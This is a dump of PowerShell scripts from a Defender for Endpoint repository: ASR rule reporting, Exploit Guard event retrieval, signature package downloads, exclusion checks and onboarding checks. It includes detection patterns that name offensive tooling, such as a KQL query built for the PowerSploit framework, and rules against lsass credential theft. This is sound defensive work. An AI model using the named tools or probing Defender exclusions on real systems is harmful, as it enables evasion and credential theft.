| Write-host "ServiceName: $($service.Name)" 6 | write-host "Path: $($service.PathName)" 7 | 8 | <# 9 | Name: Windows Defender Advanced Threat Protection Service 10 | ServiceName: Sense 11 | Path: "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" 12 | #> 13 | 14 | 15 | # Defender Service 16 | $service = Get-WmiObject win32_service | Select-Object * | where name -Like "*WinDefend*" 17 | write-host "Name: $($service.Caption)" 18 | Write-host "ServiceName: $($service.Name)" 19 | write-host "Path: $($service.PathName)" 20 | 21 | <# 22 | Name: Microsoft Defender Antivirus Service 23 | ServiceName: WinDefend 24 | Path: "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2008.9-0\MsMpEng.exe" 25 | #> 26 | 27 | 28 | # Connected User Experience 29 | $service = Get-WmiObject win32_service | Select-Object * | where name -Like "*DiagTrack*" 30 | write-host "Name: $($service.Caption)" 31 | Write-host "ServiceName: $($service.Name)" 32 | write-host "Path: $($service.PathName)" 33 | <# 34 | Name: Connected User Experiences and Telemetry 35 | ServiceName: DiagTrack 36 | Path: C:\WINDOWS\System32\svchost.exe -k utcsvc -p 37 | #> 38 | 39 | 40 | #Defender Executables 41 | $defenderfiles = Get-ChildItem -Path "C:\ProgramData\Microsoft\Windows Defender\Platform" -Filter "*.exe" -Recurse 42 | $defenderfiles | Select-Object Fullname 43 | 44 | <# 45 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\ConfigSecurityPolicy.exe 46 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\MpCmdRun.exe 47 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\MpDlpCmd.exe 48 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\MsMpEng.exe 49 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\NisSrv.exe 50 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\X86\MpCmdRun.exe 51 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe 52 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe 53 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpDlpCmd.exe 54 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MsMpEng.exe 55 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\NisSrv.exe 56 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\X86\MpCmdRun.exe 57 | #> 58 | 59 | 60 | #Defender ATP Executables 61 | <# 62 | "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" 63 | "C:\Program Files\Windows Defender Advanced Threat Protection\SenseCncProxy.exe" 64 | "C:\Program Files\Windows Defender Advanced Threat Protection\SenseIR.exe" 65 | "C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe" 66 | #> 67 | 68 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /DefenderforEndpoint/DefenderASR/ASR_Analyzer_v2.2.ps1: -------------------------------------------------------------------------------- 1 | $RulesIds = Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids 2 | $RulesActions = Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Actions 3 | $RulesExclusions = Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionOnlyExclusions 4 | 5 | $RulesIdsArray = @() 6 | $RulesIdsArray += $RulesIds 7 | 8 | $counter = 0 9 | $TotalNotConfigured = 0 10 | $TotalAudit = 0 11 | $TotalBlock = 0 12 | 13 | ForEach ($i in $RulesActions){ 14 | If ($RulesActions[$counter] -eq 0){$TotalNotConfigured++} 15 | ElseIf ($RulesActions[$counter] -eq 1){$TotalBlock++} 16 | ElseIf ($RulesActions[$counter] -eq 2){$TotalAudit++} 17 | $counter++ 18 | } 19 | 20 | Write-Host 21 | Write-Host ====================================== ASR Summary ====================================== 22 | 23 | Write-Host "=> There's"($RulesIds).Count"rules configured" 24 | Write-Host "=>"$TotalNotConfigured "in Disabled Mode **" $TotalAudit "in Audit Mode **" $TotalBlock "in Block Mode" 25 | 26 | Write-Host 27 | Write-Host ====================================== ASR Rules ====================================== 28 | 29 | $counter = 0 30 | 31 | ForEach ($j in $RulesIds){ 32 | ## Convert GUID into Rule Name 33 | If ($RulesIdsArray[$counter] -eq "D4F940AB-401B-4EFC-AADC-AD5F3C50688A"){$RuleName = "Block all Office applications from creating child processes"} 34 | ElseIf ($RulesIdsArray[$counter] -eq "5BEB7EFE-FD9A-4556-801D-275E5FFC04CC"){$RuleName = "Block execution of potentially obfuscated scripts"} 35 | ElseIf ($RulesIdsArray[$counter] -eq "92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B"){$RuleName = "Block Win32 API calls from Office macro"} 36 | ElseIf ($RulesIdsArray[$counter] -eq "3B576869-A4EC-4529-8536-B80A7769E899"){$RuleName = "Block Office applications from creating executable content"} 37 | ElseIf ($RulesIdsArray[$counter] -eq "75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84"){$RuleName = "Block Office applications from injecting code into other processes"} 38 | ElseIf ($RulesIdsArray[$counter] -eq "D3E037E1-3EB8-44C8-A917-57927947596D"){$RuleName = "Block JavaScript or VBScript from launching downloaded executable content"} 39 | ElseIf ($RulesIdsArray[$counter] -eq "BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550"){$RuleName = "Block executable content from email client and webmail"} 40 | ElseIf ($RulesIdsArray[$counter] -eq "01443614-cd74-433a-b99e-2ecdc07bfc25"){$RuleName = "Block executable files from running unless they meet a prevalence, age, or trusted list criteria"} 41 | ElseIf ($RulesIdsArray[$counter] -eq "c1db55ab-c21a-4637-bb3f-a12568109d35"){$RuleName = "Use advanced protection against ransomware"} 42 | ElseIf ($RulesIdsArray[$counter] -eq "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2"){$RuleName = "Block credential stealing from the Windows local security authority subsystem (lsass.exe)"} 43 | ElseIf ($RulesIdsArray[$counter] -eq "d1e49aac-8f56-4280-b9ba-993a6d77406c"){$RuleName = "Block process creations originating from PSExec and WMI commands"} 44 | ElseIf ($RulesIdsArray[$counter] -eq "b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4"){$RuleName = "Block untrusted and unsigned processes that run from USB"} 45 | ElseIf ($RulesIdsArray[$counter] -eq "26190899-1602-49e8-8b27-eb1d0a1ce869"){$RuleName = "Block Office communication applications from creating child processes"} 46 | ElseIf ($RulesIdsArray[$counter] -eq "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c"){$RuleName = "Block Adobe Reader from creating child processes"} 47 | ElseIf ($RulesIdsArray[$counter] -eq "e6db77e5-3df2-4cf1-b95a-636979351e5b"){$RuleName = "Block persistence through WMI event subscription"} 48 | ## Check the Action type 49 | If ($RulesActions[$counter] -eq 0){$RuleAction = "Disabled"} 50 | ElseIf ($RulesActions[$counter] -eq 1){$RuleAction = "Block"} 51 | ElseIf ($RulesActions[$counter] -eq 2){$RuleAction = "Audit"} 52 | ## Output Rule Id, Name and Action 53 | Write-Host "=>" $RulesIdsArray[$counter] " **" $RuleName "**" "Action:"$RuleAction 54 | $counter++ 55 | } 56 | 57 | Write-Host 58 | Write-Host ====================================== ASR Exclusions ====================================== 59 | 60 | $counter = 0 61 | 62 | ## Output ASR exclusions 63 | ForEach ($f in $RulesExclusions){ 64 | Write-Host "=>" $RulesExclusions[$counter] 65 | $counter++ 66 | } 67 | -------------------------------------------------------------------------------- /DefenderforEndpoint/DefenderASR/ASR_Rules_PoSh_GUI.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/PowerShellCode/1d9ae558513599bd3a7a542ac80b9473489c9097/DefenderforEndpoint/DefenderASR/ASR_Rules_PoSh_GUI.exe -------------------------------------------------------------------------------- /DefenderforEndpoint/DefenderASR/Get-DefenderEGEvents.ps1: -------------------------------------------------------------------------------- 1 | Function Get-DefenderEGEvents 2 | { 3 | <# 4 | .Synopsis 5 | Get-DefenderEGEvents 6 | 7 | .DESCRIPTION 8 | Get-DefenderEGEvents retrieves Windows Defender Exploit Guard related events 9 | 10 | .PARAMETER Component 11 | When not specified all Exploit Guard related events are retrieved. Otherwise use 12 | 13 | CFA for Controlled Folder Access 14 | NP for Network Protection 15 | ASR for Attack Surface Rules 16 | 17 | The current version of this function does not yet include events 18 | for Exploit Protetion. 19 | 20 | 21 | .PARAMETER EGMode 22 | Filter for Audit or Block Events 23 | 24 | .PARAMETER MaxEvents 25 | Specifies the maximum number of events that Get-DefenderEGEvents returns. Enter an integer. The default is to return 26 | all the Windows Defender Exploit Guard events in the logs. 27 | 28 | #> 29 | [CmdletBinding()] 30 | 31 | Param 32 | ( 33 | # Exploit Guard Component selection 34 | [Parameter(Mandatory=$false, 35 | ValueFromPipelineByPropertyName=$true, 36 | Position=0)] 37 | [ValidateSet('ASR', 'CFA','NP')] 38 | $Component, 39 | 40 | [Parameter(Mandatory=$false, 41 | ValueFromPipelineByPropertyName=$true, 42 | Position=1)] 43 | [ValidateSet('Audit', 'Block')] 44 | $EGMode, 45 | 46 | # MaxEvents 47 | [Parameter(Mandatory=$false, 48 | ValueFromPipelineByPropertyName=$true, 49 | Position=2)] 50 | [int] 51 | $MaxEvents 52 | ) 53 | 54 | Begin 55 | { 56 | 57 | If ($Component) 58 | { 59 | $EGComponent = "EG"+"$Component" 60 | } 61 | 62 | 63 | #Controlled Folder Access 64 | # 1124 Audit 65 | # 1123 Block 66 | 67 | # Network Protection 68 | # 1125 Audit 69 | # 1126 Block 70 | 71 | # Attack Surface Rules 72 | # 1121 Block 73 | # 1122 Audit 74 | 75 | $log = @{ 76 | Providername = "Microsoft-Windows-Windows Defender" 77 | ID = "1123","1124","1125","1126","1121","1122" 78 | } 79 | } 80 | Process 81 | { 82 | $output = @() 83 | If ($MaxEvents) 84 | { 85 | $events = Get-WinEvent -FilterHashtable $log -MaxEvents $MaxEvents 86 | Write-Verbose "Total $($events.count)" 87 | } 88 | Else 89 | { 90 | $events = Get-WinEvent -FilterHashtable $log 91 | Write-Verbose "Total $($events.count)" 92 | } 93 | 94 | ForEach ($event in $events) 95 | { 96 | Switch ($event.Id) 97 | { 98 | 1124 { $Source = "EGCFA" ; $Mode = "Audit"} 99 | 1123 { $Source = "EGCFA" ; $Mode = "Block"} 100 | 1125 { $Source = "EGNP"; $Mode = "Audit"} 101 | 1126 { $Source = "EGNP" ; $Mode = "Block"} 102 | 1121 { $Source = "EGASR" ; $Mode = "Block"} 103 | 1122 { $Source = "EGASR" ; $Mode = "Audit"} 104 | 105 | Default {$Source = "None" ; $Mode = "None"} 106 | } 107 | $event | Add-Member -MemberType NoteProperty -Name "EGSource" -Value "$Source" 108 | $event | Add-Member -MemberType NoteProperty -Name "EGMode" -Value "$Mode" 109 | $output = $output + $event 110 | } 111 | } 112 | End 113 | { 114 | 115 | If ($Component) 116 | { 117 | Write-Verbose "Component: $($Component)" 118 | 119 | If ($EGMode) 120 | { 121 | Write-Verbose "Mode: $($EGMode)" 122 | $output | Where-Object {$_.EGSource -eq "$EGComponent" -and $_.EGMode -eq "$EGMode"} 123 | } 124 | Else 125 | { 126 | Write-Verbose "Component: $($Component) with no MODE" 127 | $output | Where-Object {$_.EGSource -eq "$EGComponent"} 128 | } 129 | } 130 | Else 131 | { 132 | If ($EGMode) 133 | { 134 | Write-Verbose "Mode: $($EGMode) with no component" 135 | $output | Where-Object {$_.EGMode -eq "$EGMode"} 136 | } 137 | Else 138 | { 139 | Write-Verbose "All" 140 | $output 141 | } 142 | } 143 | 144 | } 145 | } 146 | 147 | -------------------------------------------------------------------------------- /DefenderforEndpoint/DefenderASR/README.MD: -------------------------------------------------------------------------------- 1 | # Defender ASR 2 | 3 | * [Defender ASR](https://github.com/anthonws/MDATP_PoSh_Scripts) 4 | -------------------------------------------------------------------------------- /DefenderforEndpoint/Download updates/secupdate.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | ################################################################################################################## 3 | # 4 | # Microsoft Premier Field Engineering 5 | # jesse.esquivel@microsoft.com 6 | # MDATP-Sec-Intel-Packages.ps1 7 | # v1.0 08/05/2019 Initial creation - Download MDATP Security Intelligence Packages 8 | # v1.1 10/16/2019 Bug fix for extraction method, and test for x64 dir 9 | # v1.2 06/08/2020 Revised folder/file copy operations 10 | # 11 | # 12 | # Microsoft Disclaimer for custom scripts 13 | # ================================================================================================================ 14 | # The sample scripts are not supported under any Microsoft standard support program or service. The sample scripts 15 | # are provided AS IS without warranty of any kind. Microsoft further disclaims all implied warranties including, 16 | # without limitation, any implied warranties of merchantability or of fitness for a particular purpose. The entire 17 | # risk arising out of the use or performance of the sample scripts and documentation remains with you. In no event 18 | # shall Microsoft, its authors, or anyone else involved in the creation, production, or delivery of the scripts be 19 | # liable for any damages whatsoever (including, without limitation, damages for loss of business profits, business 20 | # interruption, loss of business information, or other pecuniary loss) arising out of the use of or inability to 21 | # use the sample scripts or documentation, even if Microsoft has been advised of the possibility of such damages. 22 | # ================================================================================================================ 23 | # 24 | ################################################################################################################## 25 | # Script variables 26 | ################################################################################################################## 27 | #> 28 | 29 | $VBCrLf = "`r`n" 30 | $scriptDir = Split-Path -Path $MyInvocation.MyCommand.Definition -Parent 31 | [System.Diagnostics.EventLog]$evt = New-Object System.Diagnostics.EventLog("Application") 32 | [String]$evt.Source = "MDATP Security Intelligence Package Downloader" 33 | [System.Diagnostics.EventLogEntryType]$infoEvent = [System.Diagnostics.EventLogEntryType]::Information 34 | [System.Diagnostics.EventLogEntryType]$warningEvent = [System.Diagnostics.EventLogEntryType]::Warning 35 | [System.Diagnostics.EventLogEntryType]$errorEvent = [System.Diagnostics.EventLogEntryType]::Error 36 | $vdmpathbase = 'C:\temp\wdav-update\{00000000-0000-0000-0000-' 37 | $vdmpathtime = Get-Date -Format "yMMddHHmmss" 38 | $vdmpath = $vdmpathbase + $vdmpathtime + '}' 39 | $vdmpackage = $vdmpath + '\mpam-fe.exe' 40 | 41 | ################################################################################################################## 42 | # Functions 43 | ################################################################################################################## 44 | 45 | Function startScript() 46 | { 47 | $msg = "Beginning WDAV download tasks from $env:COMPUTERNAME" + $VBCrLf + "@ $(get-date) via PowerShell Script. Logging is enabled." 48 | Write-Host "######################################################################################" -ForegroundColor Yellow 49 | Write-Host "$msg" -ForegroundColor Green 50 | Write-Host "######################################################################################" -ForegroundColor Yellow 51 | Write-Host 52 | log-This $infoEvent $msg 53 | } 54 | 55 | Function log-This() 56 | { 57 | param([System.Diagnostics.EventLogEntryType]$entryType = $infoEvent, [String]$message) 58 | [int]$eventID = 1 59 | switch([System.Diagnostics.EventLogEntryType]$entryType) 60 | { 61 | $infoEvent{$eventId = 411} 62 | $warningEvent{$eventId = 611} 63 | $errorEvent{$eventId = 011} 64 | default{$eventID = 411} 65 | } 66 | try 67 | { 68 | $evt.WriteEntry($message,$entryType,$eventID) 69 | } 70 | catch 71 | { 72 | $msg = "`nDid you remember to register the Eventlog source`n" 73 | $msg += "Try: c:\eventcreate /ID 411 /L APPLICATION /T INFORMATION /SO " + $evt.Source + " /D 'New event source'`n" 74 | $msg += "using an account who has been delegated the user right 'manage auditing and security log'`n" 75 | Write-Host $msg 76 | Write-Host $_.Exception.Message 77 | closescript 1 78 | } 79 | } 80 | 81 | Function Prune-Folders($Daysback, $path) 82 | { 83 | try 84 | { 85 | $currentDate = Get-Date 86 | $dateToDelete = $currentDate.AddDays($Daysback) 87 | Get-ChildItem $path -Recurse | Where-Object{$_.LastWriteTime -lt $dateToDelete -and $_.FullName -ne "x64"} | Remove-Item -Recurse -Force 88 | } 89 | catch 90 | { 91 | Write-Host "Failed to remove folders older than 7 days in $vdmpath with error: $($_.Exception.Message)" -ForegroundColor Red 92 | log-This $errorEvent "Failed to remove folders older than 7 days in $vdmpath with error: $($_.Exception.Message)" 93 | closescript 1 94 | } 95 | } 96 | 97 | Function closeScript($exitCode) 98 | { 99 | if($exitCode -ne 0) 100 | { 101 | Write-Host 102 | Write-Host "######################################################################################" -ForegroundColor Yellow 103 | $msg = "Script execution unsuccessful, and terminted at $(get-date)" + $VBCrLf + "Time Elapsed: ($($elapsed.Elapsed.ToString()))" ` 104 | + $VBCrLf + "Examine the script output and previous events logged to resolve errors." 105 | Write-Host $msg -ForegroundColor Red 106 | Write-Host "######################################################################################" -ForegroundColor Yellow 107 | log-This $errorEVent $msg 108 | } 109 | else 110 | { 111 | Write-Host "######################################################################################" -ForegroundColor Yellow 112 | $msg = "Successfully completed script at $(get-date)" + $VBCrLf + "Time Elapsed: ($($elapsed.Elapsed.ToString()))" + $VBCrLf ` 113 | + "Review the logs." 114 | Write-Host $msg -ForegroundColor Green 115 | Write-Host "######################################################################################" -ForegroundColor Yellow 116 | log-This $infoEvent $msg 117 | } 118 | exit $exitCode 119 | } 120 | 121 | ################################################################################################################## 122 | # Begin Script 123 | ################################################################################################################## 124 | 125 | $elapsed = [System.Diagnostics.Stopwatch]::StartNew() 126 | StartScript 127 | 128 | Write-Host "*************************************************************************************" -ForegroundColor White 129 | Write-Host "Phase 1 - Fetching Security Intelligence Packages..." -ForegroundColor White 130 | Write-Host "*************************************************************************************" -ForegroundColor White 131 | Write-Host 132 | 133 | Write-Host "Fetching x64 Security Intelligence Package..." 134 | try 135 | { 136 | New-Item -ItemType Directory -Force -path $vdmpath | Out-Null 137 | Invoke-WebRequest -uri 'https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64' -OutFile $vdmpackage -ErrorAction Stop 138 | } 139 | catch 140 | { 141 | Write-Host "Failed to download package: $($_.Exception.Message)" -ForegroundColor Red 142 | Remove-Item -LiteralPath $vdmpath -Force | Out-Null 143 | log-This $errorEvent "Failed to download package https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64 with error: $($_.Exception.Message)" 144 | closescript 1 145 | } 146 | 147 | Write-Host "Success." -ForegroundColor Green 148 | log-This $infoEvent "Successfully fetched Security Intelligence Package: $vdmPackage" 149 | Write-Host 150 | 151 | try 152 | { 153 | Write-Host "Extracting Security Intelligence Package..." 154 | Start-Process C:\windows\system32\cmd.exe -ArgumentList "/c cd $vdmpath & mpam-fe.exe /X" -Wait -WindowStyle Hidden 155 | } 156 | catch 157 | { 158 | Write-Host "Failed to extract security intelligence package $vdmPackage : $($_.Exception.Message)" -ForegroundColor Red 159 | log-This $errorEvent "Failed to extract security intelligence package $vdmPackage : $($_.Exception.Message)" 160 | closescript 1 161 | } 162 | 163 | Write-Host "Success." -ForegroundColor Green 164 | log-This $infoEvent "Successfully extracted Security Intelligence Package: $vdmPackage" 165 | Write-Host 166 | 167 | try 168 | { 169 | Write-Host "Copying extracted files to share..." 170 | Copy-Item -Path $vdmpath -Destination "\\fileserver.fqdn\mdatp$\wdav-update" -Force -Recurse | Out-Null 171 | Remove-Item -Path "\\fileserver.fqdn\mdatp$\wdav-update\{00000000-0000-0000-0000-$vdmpathtime}\mpam-fe.exe" -Force | Out-Null 172 | Get-ChildItem "\\fileserver.fqdn\mdatp$\wdav-update\x64" -Recurse | ForEach-Object {Remove-Item $_.FullName -Recurse -Force} 173 | If(!(Test-Path -Path "\\fileserver.fqdn\mdatp$\wdav-update\x64")) 174 | { 175 | New-Item -ItemType Directory -Force -path "\\fileserver.fqdn\mdatp$\wdav-update\x64" | Out-Null 176 | } 177 | Copy-Item -Path "$vdmpath\mpam-fe.exe" -Destination "\\fileserver.fqdn\mdatp$\wdav-update\x64" -Force -Recurse | Out-Null 178 | } 179 | catch 180 | { 181 | Write-Host "Failed to copy extracted files to share \\fileserver.fqdn\mdatp$\: $($_.Exception.Message)" -ForegroundColor Red 182 | log-This $errorEvent "Failed to copy extracted files to share \\fileserver.fqdn\mdatp$\: $($_.Exception.Message)" 183 | closescript 1 184 | } 185 | 186 | Write-Host "Success." -ForegroundColor Green 187 | log-This $infoEvent "Successfully copied extracted files to share: \\fileserver.fqdn\mdatp$\wdav-update\x64" 188 | Write-Host 189 | 190 | try 191 | { 192 | Write-Host "Pruning Folders older than 7 days..." 193 | Prune-Folders "-7" "\\fileserver.fqdn\mdatp$\wdav-update" 194 | Prune-Folders "-7" "C:\Windows\wdav-update" 195 | } 196 | catch 197 | { 198 | Write-Host "Failed to prune folders older than 7 days: $($_.Exception.Message)" -ForegroundColor Red 199 | log-This $errorEvent "Failed to prune folders older than 7 days: $($_.Exception.Message)" 200 | closescript 1 201 | } 202 | 203 | Write-Host "Success." -ForegroundColor Green 204 | log-This $infoEvent "Successfully pruned folders older than 7 days in C:\Windows\wdav-update, and in \\fileserver.fqdn\mdatp$\wdav-update" 205 | Write-Host 206 | 207 | closescript 0 -------------------------------------------------------------------------------- /DefenderforEndpoint/Eventlog/events.ps1: -------------------------------------------------------------------------------- 1 |  2 | (Get-WinEvent -ListProvider "Microsoft-Windows-Windows Defender").events | Format-Table id, description -AutoSize 3 | 4 | $EventFilter = @{ 5 | ID = 1000,1001 6 | ProviderName = "Microsoft-Windows-Windows Defender" 7 | } 8 | Get-WinEvent -FilterHashtable $EventFilter | format-table -autosize 9 | 10 | 11 | -------------------------------------------------------------------------------- /DefenderforEndpoint/Exclude/exchange.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 0 6 | 0 7 | 0 8 | 0 9 | 0 10 | 0 11 | 0 12 | 0 13 | 0 14 | 0 15 | 0 16 | 0 17 | 0 18 | 0 19 | 0 20 | 0 21 | 0 22 | 0 23 | 0 24 | 0 25 | 0 26 | 0 27 | 28 | 29 | 0 30 | 0 31 | 0 32 | 0 33 | 0 34 | 0 35 | 0 36 | 0 37 | 0 38 | 0 39 | 0 40 | 0 41 | 42 | 43 | 0 44 | 0 45 | 0 46 | 0 47 | 0 48 | 0 49 | 0 50 | 0 51 | 0 52 | 0 53 | 0 54 | 0 55 | 0 56 | 0 57 | 0 58 | 0 59 | 0 60 | 0 61 | 0 62 | 0 63 | 0 64 | 0 65 | 0 66 | 0 67 | 0 68 | 0 69 | 0 70 | 0 71 | 0 72 | 0 73 | 0 74 | 0 75 | 0 76 | 0 77 | 0 78 | 0 79 | 0 80 | 0 81 | 0 82 | 0 83 | 0 84 | 0 85 | 0 86 | 0 87 | 0 88 | 0 89 | 0 90 | 91 | 92 | 93 | -------------------------------------------------------------------------------- /DefenderforEndpoint/Exclusions/Validate-DefenderExclusoins.ps1: -------------------------------------------------------------------------------- 1 | function Validate-DefenderExclusion 2 | <# 3 | .Synopsis 4 | Validate-DefenderExclusion 5 | .DESCRIPTION 6 | Validate-DefenderExclusion checks whether the specified path or file is excluded. 7 | The cmdlet will return the following information 8 | 9 | - The path of the specified folder or file 10 | - The result of the check, True, False or PathNotFound 11 | 12 | .PARAMETER Path 13 | Specifies a path to a folder or file to be checked 14 | .EXAMPLE 15 | 16 | Validate-DefenderExclusion -Path C:\AutomatedLab-VMs 17 | 18 | Path Excluded 19 | ---- -------- 20 | C:\AutomatedLab-VMs True 21 | 22 | This command checks whether the specified folder has a Defender Exclusion 23 | 24 | .NOTES 25 | 1.0, 21.03.2019, alex verboon 26 | #> 27 | { 28 | [CmdletBinding()] 29 | Param 30 | ( 31 | [Parameter(Mandatory=$true, 32 | ValueFromPipelineByPropertyName=$true, 33 | Position=0)] 34 | [ValidateNotNullOrEmpty()] 35 | [string]$Path 36 | ) 37 | Begin 38 | { 39 | If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(` 40 | [Security.Principal.WindowsBuiltInRole] “Administrator”)) 41 | { 42 | Write-Warning “You do not have Administrator rights to run this script!`nPlease re-run this script as an Administrator!” 43 | Break 44 | } 45 | 46 | # Find the current most recent path of the Defender mpcmdrun.exe 47 | $DefenderPlatformPath = "C:\ProgramData\Microsoft\Windows Defender\Platform" 48 | $mpcmdrunpath = (Get-ChildItem -Path "$DefenderPlatformPath\*\mpcmdrun.exe" | Select-Object * -Last 1).FullName 49 | 50 | If ([string]::IsNullOrEmpty($mpcmdrunpath)) 51 | { 52 | Write-Error "Unable to locate mpcmdrun.exe" 53 | } 54 | } 55 | Process 56 | { 57 | $cmdArg = "-CheckExclusion -Path $($Path)" 58 | $CheckResult = Start-Process -FilePath "$mpcmdrunpath" -ArgumentList "$cmdArg" -NoNewWindow -PassThru -Wait 59 | #$CheckResult.ExitCode 60 | 61 | switch ($CheckResult.ExitCode) 62 | { 63 | 0 { $Excluded = "True"} 64 | 1 { $Excluded = "False"} 65 | 2 { $Excluded = "PathNotFound"} 66 | } 67 | 68 | $Result = [ordered]@{ 69 | Path = $Path 70 | Excluded = $Excluded 71 | } 72 | $output = (New-Object -TypeName PSObject -Property $Result) 73 | 74 | } 75 | End 76 | { 77 | $output 78 | } 79 | } 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | -------------------------------------------------------------------------------- /DefenderforEndpoint/KQL/New-KQPSModuleFunctions.ps1: -------------------------------------------------------------------------------- 1 | function New-KQPSModuleFunctions 2 | { 3 | <# 4 | .Synopsis 5 | New-KQPSModulecmdlets 6 | .DESCRIPTION 7 | New-KQPSModulecmdlets creates kusto query to search for PowerShell commands 8 | included in the specified PowerShell module name 9 | .PARAMETER ModuleName 10 | The name of the PowerShell module 11 | 12 | .PARAMETER ImportPsd 13 | The path to the PowerShell module psd file 14 | 15 | .PARAMETER Path 16 | The path where the generated kql query is saved 17 | 18 | .EXAMPLE 19 | New-KQPSModuleFunctions -ImportPsd C:\temp\powersploit.psd1 20 | 21 | This command creates a kql query including all functions included in the Powersploit 22 | module and saves the query to the clipboard 23 | 24 | .EXAMPLE 25 | New-KQPSModuleFunctions -ImportPsd C:\temp\powersploit.psd1 -Path C:\Temp 26 | 27 | This command creates a kql query including all functions included in the powersploit 28 | module and saves the query to c:\temp\ps_powersploit.kql 29 | 30 | .EXAMPLE 31 | New-KQPSModuleFunctions -ModuleName netsecurity 32 | 33 | This command creates a kql query including all functions included in the netsecurity 34 | module and saves the query to the clipboard 35 | 36 | .EXAMPLE 37 | New-KQPSModuleFunctions -ModuleName netsecurity -Path c:\temp 38 | 39 | This command creates a kql query including all functions included in the netsecurity 40 | module and saves the query to c:\temp\ps_netsecurity.kql 41 | 42 | .NOTES 43 | Author: Alex Verboon 44 | Date: 11.07.2020 45 | Version 1.0 46 | #> 47 | [CmdletBinding()] 48 | Param 49 | ( 50 | # PowerShell Module 51 | [Parameter(ParameterSetName='Module',Mandatory=$true)] 52 | $ModuleName, 53 | # The path to the PowerShell module psd1 file 54 | [Parameter(ParameterSetName='Import',mandatory=$true)] 55 | $ImportPsd, 56 | # The path where the kql query is saved 57 | [Parameter(mandatory=$false)] 58 | $Path 59 | ) 60 | 61 | Begin{} 62 | Process 63 | { 64 | If ($ImportPsd){ 65 | $psdcontent = Import-PowerShellDataFile -Path $ImportPsd 66 | $PsCmds = ($psdcontent.FunctionsToExport) -join '","' 67 | $ModuleVersion = $psdcontent.ModuleVersion 68 | $ModuleName = (Split-Path $ImportPsd -Leaf).Split(".")[0] 69 | } 70 | Else{ 71 | if (-not (Get-Module -ListAvailable -Name $ModuleName)){ 72 | Write-Error "Specified Module $ModuleName not found" 73 | break} 74 | $PsCmds = (get-command -Module "$ModuleName").Name -join '","' 75 | $ModuleInfo = Get-Module -Name "$ModuleName" 76 | $ModuleVersion = $ModuleInfo.Version 77 | } 78 | $let = 'let pscommands = dynamic ([' + '"' + $PsCmds + '"' + ']);' 79 | $kqlquery = @" 80 | // Search for PowerShell commands included in the PowerShell module: $ModuleName Version:$ModuleVersion) 81 | $let 82 | DeviceEvents 83 | | where ActionType contains "PowerShellCommand" 84 | | where AdditionalFields has_any (pscommands) 85 | "@ 86 | } 87 | End{ 88 | If($Path){ 89 | If (Test-Path $Path){ 90 | Write-Output "Saving KQL query to $path\kql_$ModuleName.kql" 91 | Set-Content -Path "$path\ps_$ModuleName.kql" -Value $kqlquery -Force 92 | } 93 | } 94 | Else{ 95 | Write-Output "KQL query saved to clipboard" 96 | $kqlquery | clip 97 | } 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /DefenderforEndpoint/KQL/kql_internals_2020.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/PowerShellCode/1d9ae558513599bd3a7a542ac80b9473489c9097/DefenderforEndpoint/KQL/kql_internals_2020.pdf -------------------------------------------------------------------------------- /DefenderforEndpoint/Onboarding/CI Scripts/CI_DefenderOnboarding_Discovery.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | CI_DefenderOnboarding_Discovery.ps1 4 | .DESCRIPTION 5 | Script for Configuration Manager - Configuration Item 6 | CI_DefenderOnboarding_Discovery checks the Defender for Endpoint onboarding state 7 | .NOTES 8 | v1.0, 25.02.2021, alex verboon 9 | #> 10 | 11 | Try{ 12 | $registryValue = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Advanced Threat Protection\Status" 13 | if($registryValue.OnboardingState -eq 1){ 14 | return $True 15 | }else{ 16 | return $False 17 | } 18 | }Catch{ 19 | $False 20 | } -------------------------------------------------------------------------------- /DefenderforEndpoint/Onboarding/CI Scripts/CI_DefenderOnboarding_Remediation.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | CI_DefenderOnboarding_Remediation 4 | .DESCRIPTION 5 | Script for Configuration Manager - Configuration Item 6 | CI_DefenderOnboarding_Remediation reruns the MDE onboarding script 7 | 8 | Use the Convert-MDEOnboardingBase64.ps1 to convert the MDE onboarding script 9 | into a base64 string that is used for the variable $Base64OnboardingString defined 10 | in the script below 11 | 12 | .NOTES 13 | v1.0, 25.02.2021, alex verboon 14 | #> 